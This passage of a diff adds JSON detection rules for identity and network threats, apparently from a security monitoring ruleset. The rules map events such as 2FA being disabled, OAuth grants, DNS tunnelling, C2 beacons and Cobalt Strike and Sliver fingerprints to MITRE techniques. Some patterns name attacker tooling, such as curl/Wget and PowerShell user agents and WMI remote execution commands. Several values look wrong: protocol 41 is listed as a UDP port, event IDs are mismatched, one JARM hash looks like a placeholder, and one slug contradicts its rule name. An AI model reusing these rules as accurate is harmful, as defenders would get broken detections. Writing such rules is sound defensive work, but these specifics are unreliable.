+ "match_when": {
+ "discovery_url_changed": true,
+ "event_type": "issuer.update"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Generic OIDC Issuer Trust Modified",
+ "product": "identity",
+ "service": "oidc",
+ "severity": "high",
+ "slug": "ident-oidc-issuer-trust-changed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-138",
+ "match_when": {
+ "event_type": "client.create",
+ "events_per_minute_per_actor_gt": 5
+ },
+ "mitre": [
+ "T1136"
+ ],
+ "name": "OIDC Client Burst Created By Single Actor",
+ "product": "identity",
+ "service": "oidc",
+ "severity": "medium",
+ "slug": "ident-oidc-many-clients-from-single-actor"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-139",
+ "match_when": {
+ "event_type": "log_emit",
+ "field_contains_oidc_secret": true
+ },
+ "mitre": [
+ "T1552.004"
+ ],
+ "name": "OIDC Client Secret Logged In Plaintext",
+ "product": "identity",
+ "service": "oidc",
+ "severity": "medium",
+ "slug": "ident-oidc-secret-leaked-pattern"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-140",
+ "match_when": {
+ "event_type": "client.update",
+ "redirect_uri_contains": "*"
+ },
+ "mitre": [
+ "T1539"
+ ],
+ "name": "OIDC Client Configured With Wildcard Redirect URI",
+ "product": "identity",
+ "service": "oidc",
+ "severity": "high",
+ "slug": "ident-oidc-redirect-uri-wildcard"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-141",
+ "match_when": {
+ "event_name": "ENFORCE_STRONG_AUTHENTICATION",
+ "user_priv": true,
+ "value": false
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "Google Workspace 2SV Disabled For Admin",
+ "product": "google-workspace",
+ "service": "admin",
+ "severity": "critical",
+ "slug": "ident-google-workspace-mfa-disabled-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-142",
+ "match_when": {
+ "event_name": "GENERATE_APP_PASSWORD",
+ "user_priv": true
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "Google Workspace App Password Issued To Priv User",
+ "product": "google-workspace",
+ "service": "admin",
+ "severity": "high",
+ "slug": "ident-google-workspace-app-pw-issued"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-143",
+ "match_when": {
+ "event_name": "AUTHORIZE",
+ "scope_contains": "https://www.googleapis.com/auth/drive"
+ },
+ "mitre": [
+ "T1528"
+ ],
+ "name": "Google Workspace 3rd-Party App Granted Drive Read",
+ "product": "google-workspace",
+ "service": "oauth_token",
+ "severity": "high",
+ "slug": "ident-google-workspace-3p-app-data-grant"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-144",
+ "match_when": {
+ "event_name": "login_failure",
+ "type": "suspicious_login"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Google Workspace Login Flagged 'Suspicious'",
+ "product": "google-workspace",
+ "service": "login",
+ "severity": "medium",
+ "slug": "ident-google-workspace-suspicious-login-flag"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-145",
+ "match_when": {
+ "forward_external": true,
+ "operation": "New-InboxRule"
+ },
+ "mitre": [
+ "T1114.003"
+ ],
+ "name": "M365 Inbox Rule Forwards To External Address",
+ "product": "m365",
+ "service": "exchange",
+ "severity": "high",
+ "slug": "ident-m365-mailbox-rule-forward-external"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-146",
+ "match_when": {
+ "operation": "Add-MailboxPermission",
+ "trustee_external": true
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "M365 Mailbox Permission Granted To External User",
+ "product": "m365",
+ "service": "exchange",
+ "severity": "high",
+ "slug": "ident-m365-mailbox-permission-add-foreign"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-147",
+ "match_when": {
+ "operation": "Consent to application",
+ "permissions_contains_any": [
+ "Mail.Read",
+ "Mail.ReadWrite"
+ ]
+ },
+ "mitre": [
+ "T1528"
+ ],
+ "name": "M365 App Granted Mail.Read / Mail.ReadWrite",
+ "product": "m365",
+ "service": "azure-ad",
+ "severity": "high",
+ "slug": "ident-m365-app-consent-graph-mail"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-148",
+ "match_when": {
+ "operation": "TenantSettingsModified",
+ "sharing_capability": "ExternalUserAndGuestSharing"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "M365 SharePoint Sharing Policy 'Anyone' Enabled",
+ "product": "m365",
+ "service": "sharepoint",
+ "severity": "high",
+ "slug": "ident-m365-sharing-policy-anyone"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-149",
+ "match_when": {
+ "operation": "Add temporary access pass",
+ "target_user_priv": true
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "M365 Temporary Access Pass Generated For Priv",
+ "product": "m365",
+ "service": "azure-ad",
+ "severity": "high",
+ "slug": "ident-m365-tap-removed-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-150",
+ "match_when": {
+ "action_in": [
+ "workspace_two_factor_required_disabled"
+ ]
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Slack Workspace 2FA Disabled",
+ "product": "slack",
+ "service": "admin",
+ "severity": "high",
+ "slug": "ident-slack-workspace-2fa-disabled"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-151",
+ "match_when": {
+ "action": "app_installed",
+ "scopes_contains": "chat:write.public"
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "Slack App Installed With Bot Scope chat:write.public",
+ "product": "slack",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-slack-app-installed-bot-token"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-152",
+ "match_when": {
+ "action_in": [
+ "external_shared_channel_invite_accepted",
+ "shared_channel_external_org_added"
+ ]
+ },
+ "mitre": [
+ "T1567"
+ ],
+ "name": "Slack Channel Shared Externally",
+ "product": "slack",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-slack-channel-shared-external"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-153",
+ "match_when": {
+ "action": "org.disable_two_factor_requirement"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "GitHub Org 2FA Requirement Disabled",
+ "product": "github",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "ident-github-org-2fa-disabled"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-154",
+ "match_when": {
+ "action": "personal_access_token.create",
+ "scopes_contains_all": [
+ "repo",
+ "workflow",
+ "admin:org"
+ ]
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "GitHub Classic PAT Created With repo+workflow+admin:org",
+ "product": "github",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-github-pat-classic-created-with-broad-scopes"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-155",
+ "match_when": {
+ "action": "org.remove_member",
+ "events_per_minute_gt": 20
+ },
+ "mitre": [
+ "T1531"
+ ],
+ "name": "GitHub Org Bulk Member Removed",
+ "product": "github",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-github-org-collaborator-removed-bulk"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-156",
+ "match_when": {
+ "action": "deploy_key.add",
+ "distinct_repos_per_actor_per_hour_gt": 10
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "GitHub Deploy Key Added Across Many Repos",
+ "product": "github",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-github-deploy-key-added-org-wide"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-157",
+ "match_when": {
+ "action_in": [
+ "update_account_settings",
+ "update_user_settings"
+ ],
+ "passcode_required": false
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Zoom Account Policy Disables Meeting Passcode",
+ "product": "zoom",
+ "service": "admin",
+ "severity": "medium",
+ "slug": "ident-zoom-passcode-disabled-meeting-policy"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-158",
+ "match_when": {
+ "action_in": [
+ "org_security_policy_modified"
+ ],
+ "two_step_required": false
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Atlassian Org 2FA Requirement Removed",
+ "product": "atlassian",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-atlassian-org-required-2fa-off"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-159",
+ "match_when": {
+ "action": "api_token_created"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Atlassian Org API Token Created",
+ "product": "atlassian",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "ident-atlassian-api-token-created"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-160",
+ "match_when": {
+ "action": "compliance_policy_disabled"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "MDM Policy Removed Requiring Device Compliance",
+ "product": "mdm",
+ "service": "audit",
+ "severity": "high",
+ "slug": "ident-jamf-mdm-policy-mfa-removed"
+ },
+ {
+ "category": "network",
+ "id": "det-network-001",
+ "match_when": {
+ "connection_count_gt": 50,
+ "interval_consistency_gt": 0.85,
+ "time_window_minutes_lt": 60
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "C2 Beacon Pattern (Periodic High-Frequency)",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "c2-beacon-high-frequency"
+ },
+ {
+ "category": "network",
+ "id": "det-network-002",
+ "match_when": {
+ "avg_subdomain_len_gt": 50,
+ "query_count_gt": 100,
+ "time_window_minutes_lt": 30
+ },
+ "mitre": [
+ "T1048.003"
+ ],
+ "name": "DNS Tunneling / Exfiltration (High Length Subdomains)",
+ "product": "dns",
+ "service": "query",
+ "severity": "high",
+ "slug": "dns-data-exfiltration"
+ },
+ {
+ "category": "network",
+ "id": "det-network-003",
+ "match_when": {
+ "distinct_dst_per_src_gt": 25,
+ "distinct_ports_per_src_gt": 50,
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1046"
+ ],
+ "name": "Internal Network Port Scan",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "port-scan-internal"
+ },
+ {
+ "category": "network",
+ "id": "det-network-004",
+ "match_when": {
+ "event_type": "ssh-reject",
+ "fail_count_gt": 30,
+ "outcome": "FAILURE",
+ "src_ip_class": "internet",
+ "time_window_minutes_lt": 10
+ },
+ "mitre": [
+ "T1110.001"
+ ],
+ "name": "SSH Brute-Force From Internet",
+ "product": "linux",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ssh-failed-from-internet"
+ },
+ {
+ "category": "network",
+ "id": "det-network-005",
+ "match_when": {
+ "distinct_dst_per_src_gt": 5,
+ "event_id": 5145,
+ "share_name_in": [
+ "ADMIN$",
+ "C$"
+ ],
+ "time_window_minutes_lt": 10
+ },
+ "mitre": [
+ "T1021.002"
+ ],
+ "name": "SMB Lateral Movement (Many ADMIN$ Connections)",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "smb-lateral-movement"
+ },
+ {
+ "category": "network",
+ "id": "det-network-006",
+ "match_when": {
+ "dst_ip_class": "internal",
+ "dst_port": 3389,
+ "src_ip_class": "internet"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "RDP From Internet to Internal Host",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "critical",
+ "slug": "rdp-from-internet"
+ },
+ {
+ "category": "network",
+ "id": "det-network-007",
+ "match_when": {
+ "dst_ip_in_tor_list": true
+ },
+ "mitre": [
+ "T1090.003"
+ ],
+ "name": "Outbound Connection to Known Tor Exit",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "tor-traffic"
+ },
+ {
+ "category": "network",
+ "id": "det-network-008",
+ "match_when": {
+ "domain_age_days_lt": 7,
+ "method_in": [
+ "GET",
+ "POST",
+ "CONNECT"
+ ]
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "Outbound HTTP(S) to Newly Registered Domain",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "newly-registered-domain-traffic"
+ },
+ {
+ "category": "network",
+ "id": "det-network-009",
+ "match_when": {
+ "distinct_a_records_gt": 30,
+ "time_window_hours_lt": 1,
+ "ttl_seconds_lt": 60
+ },
+ "mitre": [
+ "T1568.001"
+ ],
+ "name": "DNS Fast-Flux (Many Distinct A-Records / Short TTL)",
+ "product": "dns",
+ "service": "query",
+ "severity": "high",
+ "slug": "dns-fast-flux"
+ },
+ {
+ "category": "network",
+ "id": "det-network-010",
+ "match_when": {
+ "event_id": 5158,
+ "smb_signing_enabled": false
+ },
+ "mitre": [
+ "T1557.001"
+ ],
+ "name": "SMB Authentication Without Signing",
+ "product": "windows",
+ "service": "security",
+ "severity": "medium",
+ "slug": "smb-signing-disabled-auth"
+ },
+ {
+ "category": "network",
+ "id": "det-network-011",
+ "match_when": {
+ "event_type": "DHCP_OFFER",
+ "src_mac_in_allowed_dhcp": false
+ },
+ "mitre": [
+ "T1557"
+ ],
+ "name": "Rogue DHCP Server Detected on LAN",
+ "product": "ndr",
+ "service": "dhcp",
+ "severity": "high",
+ "slug": "dhcp-rogue-server"
+ },
+ {
+ "category": "network",
+ "id": "det-network-012",
+ "match_when": {
+ "avg_payload_bytes_gt": 512,
+ "packet_count_gt": 500,
+ "protocol": "ICMP",
+ "time_window_minutes_lt": 30
+ },
+ "mitre": [
+ "T1095"
+ ],
+ "name": "ICMP Tunneling Pattern (Large Payloads)",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "icmp-tunnel"
+ },
+ {
+ "category": "network",
+ "id": "det-network-013",
+ "match_when": {
+ "dst_in_allowlist": false,
+ "tls_cert_self_signed": true
+ },
+ "mitre": [
+ "T1573.002"
+ ],
+ "name": "Outbound TLS to Server with Self-Signed Cert (Non-Allowed)",
+ "product": "ndr",
+ "service": "tls",
+ "severity": "medium",
+ "slug": "tls-self-signed-cert-conn"
+ },
+ {
+ "category": "network",
+ "id": "det-network-014",
+ "match_when": {
+ "ja3_hash_in_threat_intel": true
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "TLS JA3 Hash in Threat-Intel Match",
+ "product": "ndr",
+ "service": "tls",
+ "severity": "high",
+ "slug": "tls-ja3-anomaly"
+ },
+ {
+ "category": "network",
+ "id": "det-network-015",
+ "match_when": {
+ "dst_asn_seen_count_lt": 5,
+ "time_window_days_gt": 30
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "Outbound Traffic to Rare/Suspicious ASN",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "medium",
+ "slug": "egress-to-rare-asn"
+ },
+ {
+ "category": "network",
+ "id": "det-network-016",
+ "match_when": {
+ "event_id": 4624,
+ "logon_type": 3,
+ "user": "ANONYMOUS LOGON"
+ },
+ "mitre": [
+ "T1135"
+ ],
+ "name": "SMB Null Session Attempt",
+ "product": "windows",
+ "service": "security",
+ "severity": "medium",
+ "slug": "smb-null-session"
+ },
+ {
+ "category": "network",
+ "id": "det-network-017",
+ "match_when": {
+ "event_id": 1644,
+ "ldap_query_count_per_src_gt": 200,
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1087.002"
+ ],
+ "name": "LDAP Bind from Workstation to Domain Controller (Excessive)",
+ "product": "windows",
+ "service": "directory-service",
+ "severity": "medium",
+ "slug": "ldap-bind-anomaly"
+ },
+ {
+ "category": "network",
+ "id": "det-network-018",
+ "match_when": {
+ "dst_port": 161,
+ "protocol": "UDP",
+ "snmp_community_in": [
+ "public",
+ "private"
+ ],
+ "src_ip_class": "internet"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "SNMP Public Community String Probe From Internet",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "medium",
+ "slug": "snmp-public-community-internet"
+ },
+ {
+ "category": "network",
+ "id": "det-network-019",
+ "match_when": {
+ "syn_count_per_dst_gt": 5000,
+ "tcp_flag": "SYN",
+ "time_window_minutes_lt": 1
+ },
+ "mitre": [
+ "T1498.001"
+ ],
+ "name": "SYN Flood Pattern Against Public Endpoint",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "ddos-syn-flood"
+ },
+ {
+ "category": "network",
+ "id": "det-network-020",
+ "match_when": {
+ "dst_in_blocklist": true
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "Outbound Connection to Threat-Intel-Blocked IP",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "egress-to-blocklisted-ip"
+ },
+ {
+ "category": "network",
+ "id": "det-network-021",
+ "match_when": {
+ "dst_port_in": [
+ 25,
+ 465,
+ 587
+ ],
+ "protocol": "TCP",
+ "smtp_count_per_src_gt": 200,
+ "time_window_minutes_lt": 10
+ },
+ "mitre": [
+ "T1566"
+ ],
+ "name": "Internal Host Spamming SMTP",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "internal-host-spamming-mail"
+ },
+ {
+ "category": "network",
+ "id": "det-network-022",
+ "match_when": {
+ "concurrent_console_session": true,
+ "event_id": 4624,
+ "logon_type": 10
+ },
+ "mitre": [
+ "T1021.001"
+ ],
+ "name": "RDP Logon Session With Concurrent Active Console Session",
+ "product": "windows",
+ "service": "security",
+ "severity": "medium",
+ "slug": "rdp-screen-takeover"
+ },
+ {
+ "category": "network",
+ "id": "det-network-023",
+ "match_when": {
+ "dst_port_in": [
+ 3544,
+ 41
+ ],
+ "protocol": "UDP"
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "Outbound IPv6 Teredo / 6to4 Tunneling Traffic",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "medium",
+ "slug": "ipv6-tunnel-outbound"
+ },
+ {
+ "category": "network",
+ "id": "det-network-024",
+ "match_when": {
+ "dst_in_doh_allowlist": false,
+ "method_in": [
+ "POST",
+ "GET"
+ ],
+ "url_path_endswith": "/dns-query"
+ },
+ "mitre": [
+ "T1071.004"
+ ],
+ "name": "DNS-over-HTTPS to Non-Approved Resolver",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "dns-over-https-rare"
+ },
+ {
+ "category": "network",
+ "id": "det-network-025",
+ "match_when": {
+ "bytes_out_gt": 50000000,
+ "dst_port_in": [
+ 21,
+ 990
+ ],
+ "protocol": "TCP",
+ "src_in_allowlist": false
+ },
+ "mitre": [
+ "T1048.003"
+ ],
+ "name": "Outbound FTP Bulk Transfer From Non-Allowlisted Host",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "medium",
+ "slug": "ftp-outbound-anomaly"
+ },
+ {
+ "category": "network",
+ "id": "det-network-026",
+ "match_when": {
+ "dst_port_in": [
+ 23,
+ 21,
+ 110,
+ 143
+ ],
+ "protocol": "TCP"
+ },
+ "mitre": [
+ "T1040"
+ ],
+ "name": "Outbound Clear-Text Protocol Carrying Credentials",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "medium",
+ "slug": "outbound-clear-text-protocol"
+ },
+ {
+ "category": "network",
+ "id": "det-network-027",
+ "match_when": {
+ "dst_port": 123,
+ "ntp_command": "monlist",
+ "protocol": "UDP",
+ "src_ip_class": "internet",
+ "src_port": 123
+ },
+ "mitre": [
+ "T1498.002"
+ ],
+ "name": "NTP Amplification Reflector Attack (Inbound monlist)",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "ntp-amplification"
+ },
+ {
+ "category": "network",
+ "id": "det-network-028",
+ "match_when": {
+ "protocol_app_in": [
+ "bittorrent",
+ "edonkey",
+ "gnutella"
+ ]
+ },
+ "mitre": [
+ "T1071"
+ ],
+ "name": "Peer-to-Peer Protocol on Corporate Network",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "low",
+ "slug": "p2p-protocol-on-corp-net"
+ },
+ {
+ "category": "network",
+ "id": "det-network-029",
+ "match_when": {
+ "event_id": 4768,
+ "ticket_encryption_in": [
+ "RC4-HMAC",
+ "0x17"
+ ]
+ },
+ "mitre": [
+ "T1558.003"
+ ],
+ "name": "Kerberos Encryption Downgrade to RC4",
+ "product": "windows",
+ "service": "security",
+ "severity": "medium",
+ "slug": "kerberos-encryption-downgrade"
+ },
+ {
+ "category": "network",
+ "id": "det-network-030",
+ "match_when": {
+ "event_id": 4688,
+ "process_command_line_contains_any": [
+ "wmic /node:",
+ "Invoke-WmiMethod -ComputerName"
+ ],
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1047",
+ "T1021.006"
+ ],
+ "name": "WMI Remote Process Creation From Workstation",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "wmi-remote-execution"
+ },
+ {
+ "category": "network",
+ "id": "det-network-031",
+ "match_when": {
+ "domain_age_days_lt": 7,
+ "event_type": "dns_query"
+ },
+ "mitre": [
+ "T1071.004"
+ ],
+ "name": "DNS Query For Newly Registered Domain (NRD)",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "medium",
+ "slug": "net-dns-newly-registered-domain"
+ },
+ {
+ "category": "network",
+ "id": "det-network-032",
+ "match_when": {
+ "event_type": "dns_query",
+ "homoglyph_score_gt": 0.85
+ },
+ "mitre": [
+ "T1583.001"
+ ],
+ "name": "DNS Query For Homoglyph Of Internal Brand",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "high",
+ "slug": "net-dns-idn-homoglyph"
+ },
+ {
+ "category": "network",
+ "id": "det-network-033",
+ "match_when": {
+ "count_5min_gt": 200,
+ "event_type": "dns_response",
+ "rcode": "NXDOMAIN",
+ "src_role": "endpoint"
+ },
+ "mitre": [
+ "T1568.002"
+ ],
+ "name": "High Volume Of NXDOMAIN Responses From Single Host",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "medium",
+ "slug": "net-dns-nxdomain-spike"
+ },
+ {
+ "category": "network",
+ "id": "det-network-034",
+ "match_when": {
+ "count_5min_gt": 50,
+ "event_type": "dns_query",
+ "qtype": "ANY"
+ },
+ "mitre": [
+ "T1018"
+ ],
+ "name": "DNS Query Type ANY Volume From Single Host",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "medium",
+ "slug": "net-dns-any-query-spike"
+ },
+ {
+ "category": "network",
+ "id": "det-network-035",
+ "match_when": {
+ "event_type": "dns_query",
+ "subdomain_entropy_gt": 4.0,
+ "subdomain_length_gt": 16
+ },
+ "mitre": [
+ "T1568.002"
+ ],
+ "name": "DNS Query With High-Entropy Subdomain (DGA Indicator)",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "high",
+ "slug": "net-dns-dga-shannon"
+ },
+ {
+ "category": "network",
+ "id": "det-network-036",
+ "match_when": {
+ "event_type": "dns_response",
+ "qtype": "TXT",
+ "response_size_bytes_gt": 512
+ },
+ "mitre": [
+ "T1071.004"
+ ],
+ "name": "Large DNS TXT Response (Possible C2)",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "high",
+ "slug": "net-dns-large-txt-response"
+ },
+ {
+ "category": "network",
+ "id": "det-network-037",
+ "match_when": {
+ "event_type": "dns_response",
+ "qtype": "TXT",
+ "response_size_bytes_gt": 250,
+ "src_role_not_in": [
+ "resolver"
+ ]
+ },
+ "mitre": [
+ "T1071.004",
+ "T1048.003"
+ ],
+ "name": "DNS TXT Response Over 250 Bytes From Non-Resolver Host",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "medium",
+ "slug": "dns-txt-record"
+ },
+ {
+ "category": "network",
+ "id": "det-network-038",
+ "match_when": {
+ "event_type": "dns_query",
+ "subdomain_hex_ratio_gt": 0.9,
+ "subdomain_length_gt": 30
+ },
+ "mitre": [
+ "T1071.004"
+ ],
+ "name": "DNS Tunnel Indicator: Long Hex Subdomain Sequence",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "high",
+ "slug": "net-dns-tunnel-pattern-len"
+ },
+ {
+ "category": "network",
+ "id": "det-network-039",
+ "match_when": {
+ "destination_port": 443,
+ "event_type": "tls_session",
+ "sanctioned_doh": false,
+ "sni_endswith_any": [
+ "dns.adguard.com",
+ "cloudflare-dns.com",
+ "dns.google"
+ ]
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "DNS-Over-HTTPS Egress To Non-Sanctioned Resolver",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "high",
+ "slug": "net-dns-doh-non-resolver"
+ },
+ {
+ "category": "network",
+ "id": "det-network-040",
+ "match_when": {
+ "destination_is_internal": false,
+ "destination_port": 853,
+ "event_type": "tls_session"
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "DNS-Over-TLS Egress To Public IP",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "medium",
+ "slug": "net-dns-dot-non-resolver"
+ },
+ {
+ "category": "network",
+ "id": "det-network-041",
+ "match_when": {
+ "domain_endswith": ".onion",
+ "event_type": "dns_query"
+ },
+ "mitre": [
+ "T1090.003"
+ ],
+ "name": "DNS Query For .onion Address",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "critical",
+ "slug": "net-dns-tor-onion"
+ },
+ {
+ "category": "network",
+ "id": "det-network-042",
+ "match_when": {
+ "answer_count_gt": 8,
+ "event_type": "dns_response",
+ "ttl_seconds_lt": 60
+ },
+ "mitre": [
+ "T1568.001"
+ ],
+ "name": "DNS Fast-Flux Pattern (Many A Records, Short TTL)",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "medium",
+ "slug": "net-dns-fast-flux"
+ },
+ {
+ "category": "network",
+ "id": "det-network-043",
+ "match_when": {
+ "event_type": "dns_response",
+ "rebinding_detected": true
+ },
+ "mitre": [
+ "T1090"
+ ],
+ "name": "DNS Rebinding Indicator (Public→RFC1918 In Same TTL Window)",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "high",
+ "slug": "net-dns-rebinding"
+ },
+ {
+ "category": "network",
+ "id": "det-network-044",
+ "match_when": {
+ "destination_is_internal": false,
+ "event_type": "http_request",
+ "method": "CONNECT"
+ },
+ "mitre": [
+ "T1090"
+ ],
+ "name": "HTTP CONNECT Method Toward Public IP",
+ "product": "proxy",
+ "service": "http",
+ "severity": "high",
+ "slug": "net-http-connect-public-ip"
+ },
+ {
+ "category": "network",
+ "id": "det-network-045",
+ "match_when": {
+ "event_type": "http_request",
+ "user_agent_contains": "WindowsPowerShell"
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "HTTP User-Agent Matches PowerShell Default",
+ "product": "proxy",
+ "service": "http",
+ "severity": "high",
+ "slug": "net-http-userag-powershell"
+ },
+ {
+ "category": "network",
+ "id": "det-network-046",
+ "match_when": {
+ "event_type": "http_request",
+ "src_role": "workstation",
+ "user_agent_startswith_any": [
+ "curl/",
+ "Wget/"
+ ]
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "curl/wget User-Agent From Workstation Subnet",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "net-http-userag-curl-internal"
+ },
+ {
+ "category": "network",
+ "id": "det-network-047",
+ "match_when": {
+ "event_type": "http_request",
+ "host_is_ip_literal": true
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "HTTP Host Header Is IP Literal",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "net-http-host-header-ip"
+ },
+ {
+ "category": "network",
+ "id": "det-network-048",
+ "match_when": {
+ "client_version_in": [
+ "TLSv1.0",
+ "TLSv1.1"
+ ],
+ "event_type": "tls_session"
+ },
+ "mitre": [
+ "T1573.002"
+ ],
+ "name": "TLS Client Offered TLS 1.0 Or 1.1",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "medium",
+ "slug": "net-tls-old-client-version"
+ },
+ {
+ "category": "network",
+ "id": "det-network-049",
+ "match_when": {
+ "destination_is_internal": false,
+ "event_type": "tls_session",
+ "sni_present": false
+ },
+ "mitre": [
+ "T1573.002"
+ ],
+ "name": "HTTPS Connection To IP Without SNI",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "medium",
+ "slug": "net-tls-no-sni"
+ },
+ {
+ "category": "network",
+ "id": "det-network-050",
+ "match_when": {
+ "cert_self_signed": true,
+ "destination_is_internal": false,
+ "event_type": "tls_session"
+ },
+ "mitre": [
+ "T1573.002"
+ ],
+ "name": "Self-Signed Certificate Presented On Public IP",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "high",
+ "slug": "net-tls-self-signed-egress"
+ },
+ {
+ "category": "network",
+ "id": "det-network-051",
+ "match_when": {
+ "event_type": "tls_session",
+ "negotiated_cipher_contains_any": [
+ "NULL",
+ "EXPORT",
+ "RC4",
+ "DES"
+ ]
+ },
+ "mitre": [
+ "T1600.001"
+ ],
+ "name": "TLS Negotiated Weak Cipher Suite",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "medium",
+ "slug": "net-tls-suspicious-cipher"
+ },
+ {
+ "category": "network",
+ "id": "det-network-052",
+ "match_when": {
+ "event_type": "tls_session",
+ "jarm_in": [
+ "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1",
+ "07d19d12d21d21d00042d43d00043d4f51b7c8b9af6b1c7c2a3d4e5f6a7b8c9"
+ ]
+ },
+ "mitre": [
+ "T1573.002"
+ ],
+ "name": "JARM Fingerprint Matches Known Cobalt Strike Profile",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "critical",
+ "slug": "net-jarm-cobalt-strike"
+ },
+ {
+ "category": "network",
+ "id": "det-network-053",
+ "match_when": {
+ "event_type": "tls_session",
+ "jarm_in": [
+ "3fd3fd0003fd3fd03fd3fd3fd3fd3fd3a458a375eef0c576d23a7bab9a9fb1"
+ ]
+ },
+ "mitre": [
+ "T1573.002"
+ ],
+ "name": "JARM Fingerprint Matches Known Sliver Profile",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "critical",
+ "slug": "net-jarm-sliver"
+ },
+ {
+ "category": "network",
+ "id": "det-network-054",
